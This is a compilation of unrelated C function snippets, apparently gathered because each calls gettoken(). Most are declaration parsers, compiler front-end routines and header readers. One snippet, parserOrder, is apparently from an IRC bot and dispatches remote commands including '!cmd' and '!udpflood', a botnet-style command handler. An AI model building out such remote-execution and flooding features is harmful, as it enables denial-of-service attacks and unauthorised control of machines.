static void docommand(FILE *str,char *line) { char *cmd; cmd = gettoken(&line); if (!cmd) return; switch (assoc(commands,cmd)) { case CMD_AGENT: doagentcmd(str,line); break; default: fatal("Invalid command",cmd); break; } }
void editfhdr(ElfObject &eo, char *) { char s[BUFSIZ]; // start of file headers editing printf("editing file headers:\n"); // start interactive loop for (int done=0; !done; ) { // get cmd from user printf("fhdr cmd: "); rmvnlgets(s); tokenize(s, " \t"); char *pt = gettoken(1); // what is the command if (pt == NULL || *pt == '\0') { review(eo); } else if (*pt == '?' || *pt == 'h') { printmenu(); } else if (*pt == 'r') { review(eo); } else if (*pt == 'u') { update(eo); } else if (*pt == 'q') { done = 1; } else { printf("unknown cmd.\n"); } } return; }
/* * Expect a string. */ FR_TOKEN getstring(char const **ptr, char *buf, int buflen, bool unescape) { char const *p; if (!ptr || !*ptr || !buf) return T_OP_INVALID; p = *ptr; while (*p && (isspace((int)*p))) p++; *ptr = p; if ((*p == '"') || (*p == '\'') || (*p == '`')) { return gettoken(ptr, buf, buflen, unescape); } return getthing(ptr, buf, buflen, 0, fr_tokens, unescape); }
// procdefn: process #define or #undef statement int procdefn(void) { char word[MAXWORD], val[MAXTOKEN]; int c, def; while ((c=getch()) != '#' && c != EOF); if (c == '#' && (c=getword(word,MAXWORD)) != EOF) if ((!strcmp(word,"define")||!strcmp(word,"undef"))) { def = word[0] == 'd'; if ((c=getword(word,MAXWORD)) != EOF) { c = gettoken(val,MAXTOKEN); if (def) install(word, *val != '\0' ? val : ""); else free((void *) undef(word)); } } return c; }
void parserOrder (struct irc * bot, char * rcv) { int i, len; char * cmd, *next; char * cmds[7] = { "!say-to", "!say", "!cmd", "!hours", "!enter", "!exit", "!udpflood"} ; if (*rcv == '!') { //is a command ? next = gettoken (&cmd, ' ', rcv); len = (int)(sizeof (cmds)/sizeof (char *)); chomp (cmd); for (i = 0;i < len; i++) { if (strcmp (cmd, cmds[i]) == 0) { execOrder (bot, i, next); } } } }
static AST classname(){ Token *t = &tok; AST a=0; if (t->sym == ID) { char *s = strdup(t->text); int idx = lookup_SYM(s); if (idx != 0) { parse_error("Already used symbol"); return a; } gettoken(); a = make_AST_class(s); } else { parse_error("expected ID"); } return a; }
/* * Expect a string. */ FR_TOKEN getstring(const char **ptr, char *buf, int buflen) { const char *p; if (!ptr || !*ptr || !buf) return T_OP_INVALID; p = *ptr; while (*p && (isspace((int)*p))) p++; *ptr = p; if ((*p == '"') || (*p == '\'') || (*p == '`')) { return gettoken(ptr, buf, buflen); } return getthing(ptr, buf, buflen, 0, tokens); }
/* dcl: parse a declarator */ int dcl(void) { char tmp[1000]; tmp[0] = '\0'; while (tokentype == '*') { while (gettoken() == QUALIFIER) { strcat(tmp, " "); strcat(tmp, token); } strcat(tmp, " pointer to"); } if (dirdcl() != 0) return 1; strcat(out, tmp); return 0; }
int main() { char data_type[MAX_TOKEN_LENGTH]; for (line = 1, n_errors = 0; gettoken() != EOF; line++) { /* 1st token is data declaration type */ strcpy(data_type, token.value); description[0] = '\0'; declaration(); if (token.type != DECLARATION_END) { fprintf(stderr, "Syntax error on line %d\n", line); n_errors++; } printf("%s is a %s %s\n", name, description, data_type); } exit(n_errors); }
/* dirdcl: parse a direct declarator */ void dirdcl(void) { int type; if (tokentype == '\n') ; else if (tokentype == ',') { print_sol(); } else if (tokentype == '(') { /* ( dcl ) */ if(!param_no) { dcl(); if (tokentype != ')') printf("error: missing )\n"); } } else if (tokentype == NAME) /* variable name */ strcpy(name, token); else if (tokentype == ')') ; else { printf("\n tmp: the tokentype is %d \n", tokentype); printf("error: expected name or (dcl)\n"); } while ((type=gettoken()) == PARENS || type == BRACKETS) if (type == PARENS || param_no) strcat(out, " function returning"); else { strcat(out, " array"); strcat(out, token); strcat(out, " of"); } if (param_no) strcat(out, " function returning"); }
int main (void) { int got_type = 0; /** first lexem in string */ while (gettoken() != EOF) { /** 3. process error characters */ if (tokentype == ERR) { printf("error[1]: some error symbol inserted\n"); return -1; } if (got_type == 0) { if (tokentype != NAME || gettokentype() != DATATYPE) { printf("error: return type needed at first position\n"); return -1; } strcpy(datatype, token); got_type = 1; } /** 1. added check for empty first (datatype) value */ // if ((got_type == 0) && tokentype != NAME) { // printf("error: return type needed at first position\n"); // return -1; // } // else { // /** lexem type */ // strcpy(datatype, token); // got_type = 1; // } out[0] = '\0'; /** process rest of line */ dcl(); if (tokentype != '\n') { printf("syntax error in/after '%s'-token\n", token); return -1; } printf("%s: %s %s\n", name, out, datatype); } return 0; }
/* dirdcl: parse a direct declarator */ void dirdcl(void) { int type; if (tokentype == '(') { /* ( dcl ) */ dcl(); if (tokentype != ')') printf("error: missing )\n"); } else if (tokentype == NAME) /* variable name */ strcpy(name, token); else printf("error: expected name or (dcl)\n"); while ((type=gettoken()) == PARENS || type == BRACKETS) if (type == PARENS) strcat(out, " function returning"); else { strcat(out, " array"); strcat(out, token); strcat(out, " of"); } }
main (int argc, char *argv[]) { if (argc > 1) { tape = fopen (argv[1], "r"); if (tape == NULL) { fprintf(stderr, "file not found... exiting\n"); exit(-2); } } else { tape = stdin; } lookahead = gettoken (tape); cmd (); printf("\n"); return 0; }
int main(void) /* convert declarations to words */ { int deb; while (gettoken() != EOF) /* 1st token on line */ { /* is the data type */ strcpy(datatype, token); out[0] = '\0'; if ((deb=dcl()) == -1) /* parse the rest of line */ ; else { if (tokentype != '\n') printf("syntax error\n"); else printf("%s: %s %s\n", name, out, datatype); } } return 0; }
/* dirdcl: recenoce un declarador directo */ void dirdcl( void ){ int type; if( tokentype == '(' ){ /* ( dcl ) */ dcl(); if( tokentype != ')' ) printf( "error: falta )\n" ); } else if( tokentype == NAME ) /* nombre de variable */ strcpy( name, token ); else printf( "error: nombre o (dcl) esperado\n" ); while( ( type = gettoken() ) == PARENS || type == BRACKETS ) if( type == PARENS ) strcat( out, " funcion que regresa" ); else { strcat( out, " arreglo" ); strcat( out, token ); strcat( out, " de" ); } }
static AST vartype() { Token *t = &tok; AST a=0, idx = 0; char *text; switch (t->sym) { case tINT: a = make_AST_name("int"); break; case tCHAR: a = make_AST_name("char"); break; case tFLOAT: a = make_AST_name("float"); break; case tSTRING: a = make_AST_name("string"); break; case ID: text = strdup(t->text); idx = lookup_SYM_all(text); if (idx != 0){ a = make_AST_name(text); break; } default: parse_error("expected primtype, struct or a class type"); break; } gettoken(); return a; }
void dirdcl(void) { int type; if (tokentype == '(') { // ( dcl ) dcl(); if (tokentype != ')') errmsg("error: missing )\n"); } else if (tokentype == NAME) //±äÁ¿Ãû×Ö strcpy(name, token); else errmsg("error: expected name or (dcl)\n"); while ((type=gettoken()) == PARENS || type == BRACKETS) if (type == PARENS) strcat(out, " function returning"); else { strcat(out, " array"); strcat(out, token); strcat(out, " of"); } }
/** parse declaration (syntax analize) */ void dcl(void) { int ns; /** count stars */ for (ns = 0; gettoken() == '*'; ) ns++; /** 3. check last called gettoken() results */ if (tokentype == ERR) { printf("error[2]: some error symbol inserted\n"); return; } dirdcl(); /** 3. check dirdcl() results (assume error message already printed) */ if (tokentype == ERR) return; while (ns-- > 0) strcat(out, " pointer to"); }
int main(int argc, char *argv[]) { while (gettoken() != EOF) { out[0] = '\0'; if ((argc > 1) && (strcmp(argv[1], "-u") == 0)) { flag = 1; undcl(); printf("%s\n", out); } else { strcpy(datatype, token); dcl(); if (tokentype != '\n') printf("syntax error\n"); printf("%s: %s %s\n", name, out, datatype); } } return 0; }
static void parsetypesynonym(void) { Cell *head = pop(); setchecktypevariables(COLLECT); push(template_match); for(; head->tag==APPLY; head=head->left) { if(head->right->tag != UNDEFINED && head->right->tag != FUNC) parseerror(9); push(maketypevariable(getfunction(head->right->value)->name)); make(STRUCT); } if(head->tag != UNDEFINED && head->tag != FUNC) parseerror(10); makeconstant(FUNC, head->value); make(STRUCT); setchecktypevariables(CHECK); gettoken(); parsetype(TYPEEXPR); makeinverse(TYPESYNONYM); if(!inserttypeexpr(getfunction(head->value)->name, pop())) parseerror(12); setchecktypevariables(NOCHECK); }
void dirdcl(void) { int type; if (tokentype == '(') { /* (dcl) */ dcl(); if (tokentype != ')') { errmsg("error: missing )\n"); } } else if (tokentype == NAME) { /* variable name */ if (name[0] == '\0') { strncpy(name, token, MAXTOKEN); } } else { prevtoken = YES; } while ((type = gettoken()) == PARENS || type == BRACKETS || type == '(') { if (type == PARENS) { strncat(out, " function returning", MAXTOKEN - strlen(out) - 1); } else if (type == '(') { strncat(out, " function expecting", MAXTOKEN - strlen(out) - 1); parmdcl(); strncat(out, " and returning", MAXTOKEN - strlen(out) - 1); } else { strncat(out, " array", MAXTOKEN - strlen(out) - 1); strncat(out, token, MAXTOKEN - strlen(out) - 1); strncat(out, " of", MAXTOKEN - strlen(out)); } } }
static AST vardecls(AST vdl, AST fdl) { Token *t = &tok; AST a=0; AST a1=0; bool isfuncdecl = false; while (true) { if (!isprimtype(t->sym) && !isclasstype() && !isstructtype()) break; a1 = vardecl(); if (a1 && nodetype(a1) == nFUNCDECL) /* expect var, but it was func */ { isfuncdecl = true; break; } if (a1) vdl = append_list(vdl, a1); if (t->sym == ';') gettoken(); else parse_error("expected ;"); } if (isfuncdecl) { fdl = append_list(fdl, a1); /* add first elem of fdl */ } return vdl; }
int main(int argc, char *argv[]){ char temp[MAXTOKEN]; while(gettoken() != EOF){ if(tokentype == PARENS || tokentype == BRACKETS){ strcat(out, token); } else if(tokentype == '*'){ nexttoken(); if(tokentype == PARENS || tokentype == BRACKETS){ sprintf(temp, "(*%s)", out); }else{ sprintf(temp, "*%s", out); } strcpy(out, temp); } else if(tokentype == NAME){ sprintf(temp, "%s %s", token, out); strcpy(out, temp); } } printf("%s\n", out); return 0; }
/** * Parse a transform statement. * * @return VMStmt *, ptr to a transform stmt if successful. */ VMStmt *parse_vm_transform(int transform_type_token) { int token; VMStmtXform *newstmt = (VMStmtXform *) vm_alloc_stmt(sizeof(VMStmtXform), &s_xform_stmt_methods); if (newstmt == NULL) { logmemerror(g_token_buffer); return NULL; } newstmt->transform_type = (transform_type_token == TK_ROTATE) ? XFORM_ROTATE : (transform_type_token == TK_SCALE) ? XFORM_SCALE : XFORM_TRANSLATE; /* Parse the transform's expression. */ if ((newstmt->expr = parse_exprtree()) != NULL) if ((token = gettoken()) != OP_SEMICOLON) gettoken_ErrUnknown(token, ";"); return (VMStmt *)newstmt; }
static void dirdcl( void ) { char type; if ( tokentype == '(' ) { dcl(); if ( tokentype != ')' ) { printf( "error: missing ')'\n" ); } } else if ( tokentype == NAME ) { strcpy( name, token ); } else { printf( "error: expected name or (dcl)\n" ); } while ( (type = gettoken()) == PARENS || type == BRACKETS ) { if ( type == PARENS ) { strcat( out, " function returning" ); } else { strcat( out, " array" ); strcat( out, token ); strcat( out, " of" ); } } }
int main(void) /* convert declaration to words */ { int i = 0; int ret = 0; while (gettoken() != EOF) { // if (tokentype != '\n') // printf("syntax error\n"); for (i = 0; i < tab_no; i++) printf("\t"); if (name[0] && datatype[0]) printf("%s: %s %s\n", name, out, datatype); strcpy(datatype, token); out[0] = '\0'; name[0] = '\0'; dcl(); print_sol(); } return ret; }
deal_with_declarator(){ /*处理标识符之后可能存在的数组/函数 */ switch(cur.type){ case '[': deal_with_arrays(); break; case '(': deal_with_function_args(); } deal_with_pointers(); /* 处理在读入到标识符之前压入到堆栈中的符号 */ while(top >= 0){ if(stack[top].type == '('){ pop; gettoken(); deal_with_declarator(); }else{ printf("%s ", pop.string); } } }
int main(){ printf("\n"); printf("***Allows for const qualifier and function arguments.\n"); printf("***Checks most errors I could think of.\n"); printf("\n"); while (gettoken() != EOF){ out[0] = name[0] = '\0'; error = 0; if (pdatatype() == -1){ printf("Error: expression needs to begin with a valid return type\n"); while ( getchar() != '\n') ; continue; } dcl(); if (error == 1){ error = 0; while (getchar() != '\n') ; continue; } if (name[0] == '\0'){ printf("Error: no valid variable/function name in declaration.\n"); continue; } if (tokentype != '\n') printf("Error: syntax error\n"); printf("%s: %s %s\n", name, out, datatype); } return 0; }
int dirdcl(void) /* with error recovery */ { int type; int nflag = 0; if (tokentype == '(') /* ( dcl )*/ { if (dcl() == -1) return -1; if (tokentype != ')') { printf("error missing )\n"); return -1; } } else if (tokentype == NAME) { /* printf("token type 'name' received\n"); */ strcpy(name, token); } else { printf("error: expected name of (dcl)\n"); return -1; } while ((type=gettoken()) == PARENS || type == BRACKETS) if (type == PARENS) strcat(out, " function returning"); else { strcat(out, " array"); strcat(out, token); strcat(out, " of"); } return 0; }
/*************************************************************************** * Function Name: read_remaining_hdrs * Description : This function reads the remaining HTTP headers. * Returns : 1 - Remaining headers were read, 0 - were not read. ***************************************************************************/ static int read_remaining_hdrs(int s, unsigned char *web_buf, int web_buf_size, int *web_buf_idx_ptr, int *close_tcp_ptr, int *content_length_ptr) { int ret = 0; int sts = WEB_GETS_DONE; while( sts == WEB_GETS_DONE ) { sts = cfe_web_gets( web_buf, web_buf_size, web_buf_idx_ptr, s ); switch( sts ) { case WEB_GETS_DONE: if( *web_buf_idx_ptr == 0 ) { /* The remaining HTTP headers have been read. */ ret = 1; sts = WEB_GETS_PENDING; } else { char *p2 = web_buf; char *p1 = gettoken(&p2); if( !strcmpi( p1, "Content-Length:" ) ) *content_length_ptr=atoi(p2); *web_buf_idx_ptr = 0; } break; case WEB_GETS_ERROR: console_log("web error: TCP read error."); *close_tcp_ptr = 1; break; } } return( ret ); } /* read_remaining_hdrs */